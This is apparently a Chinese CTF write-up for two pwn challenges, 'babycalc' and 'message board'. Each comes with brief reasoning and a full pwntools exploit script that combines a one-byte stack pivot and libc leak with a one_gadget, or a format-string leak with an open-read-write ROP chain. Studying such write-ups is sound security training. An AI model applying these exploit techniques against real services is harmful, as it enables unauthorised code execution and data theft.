难的难,简单的简单,而且5题只有8小时……不好评价

起床已经是要下午了,所以我基本就只做了两题+看了看jit

babycalc

无栈溢出,但是i一次可控,只能写一字节,若修改返回地址为main之类的再次循环,依旧无法有效再次写

image-20230202163802042

运行多次发现rbp指向随机,且有可能指向我们可控的地址

image-20230202164111801

image-20230202164135863

故考虑栈迁移,在上面布置一次leak的链,泄露libc之后ret回main,再一次栈迁移直接打onegadget

一共两次栈迁移,且都随机,所以大概率要打多次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

p=process('./babycalc')
#p=remote('tcp.cloud.dasctf.com',26623)
#gdb.attach(p,'b *0x400800')
gdb.attach(p,'b *0x400BB7')
elf=ELF('./babycalc')
libc=ELF('/home/pwnme/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

context.log_level='debug'

'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

'''
def mysend(x,i):
payload=str(x&0xff).encode()
payload=payload.ljust(0xd0,b'\x00')
payload+=p8(19)+p8(36)+p8(53)+p8(70)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)
payload+=b'\x00'*0x1c+p32(0x38+i)
p.sendlineafter(':',payload)


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x0000000000400ca3
pop_rsi_r15=0x0000000000400ca1
ret=0x00000000004005b9
ret_addr=0x400c1b

#13 20
leak=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(ret_addr)
payload=b'24'
payload=payload.ljust(8,b'\x00')
payload+=leak*6
payload=payload.ljust(0xd0,b'\x00')
payload+=p8(19)+p8(36)+p8(53)+p8(70)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)
payload+=b'\x00'*0x1c+p32(0x38)

p.sendafter(':',payload)
p.recvuntil("good done\n")
#puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
success(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
success(hex(libc_base))
onegadget=libc_base+0xf1247
#gdb.attach(p)

payload=b'24'
payload=payload.ljust(0xd0,b'\x00')
payload+=p8(19)+p8(36)+p8(53)+p8(70)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)
payload+= p64(onegadget)*3 + b'\x00'*0x4+p32(0x38)

p.sendafter(':',payload)

#mysend(puts_got&0xff,8)
p.interactive()

message board

image-20230202164427318

保护基本没开,开起了沙箱orw

image-20230202164511582

存在格串和栈溢出

用格串leak栈地址和libc,用一点点的栈溢出迁移到栈上完成rop即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
libc=ELF('./libc.so.6')
#p=process('./pwn')
p=remote('tcp.cloud.dasctf.com',20477)
context.log_level='debug'
#gdb.attach(p)

p.recvuntil('name:\n')

payload="%31$p%p"

p.sendline(payload)


p.recvuntil('0x')
libc_base=int(p.recv(12),16)-0x27083+0x3000
p.recvuntil('0x')
stack=int(p.recv(12),16)+0xc0
success(hex(stack))
success(hex(libc_base))

buf=stack-0xb0


pop_rdi=libc_base+0x0000000000023b6a
pop_rsi=libc_base+0x000000000002601f
pop_rdx=libc_base+0x0000000000142c92
pop_rsp=libc_base+0x000000000002f70a
leave=0x4013a2
ret=0x4013a3
flag_addr=buf+0xa8

payload=p64(ret)+p64(pop_rdi)+p64(flag_addr)
payload+=p64(pop_rsi)+p64(0)
payload+=p64(libc_base+libc.sym['open'])
payload+=p64(pop_rdi)+p64(3)
payload+=p64(pop_rsi)+p64(buf)+p64(pop_rdx)+p64(0x30)
payload+=p64(libc_base + libc.sym['read'])
payload+=p64(pop_rdi)+p64(1)
payload+=p64(pop_rsi)+p64(buf)+p64(pop_rdx)+p64(0x30)
payload+=p64(libc_base + libc.sym['write'])

payload=payload.ljust(0xa8,b'\x00')
payload+=b'flag\x00\x00\x00\x00'
payload+=p64(buf-8)
payload+=p64(leave)
#0x7ffd6fe45490
p.recvuntil(':\n')
p.sendline(payload)

p.interactive()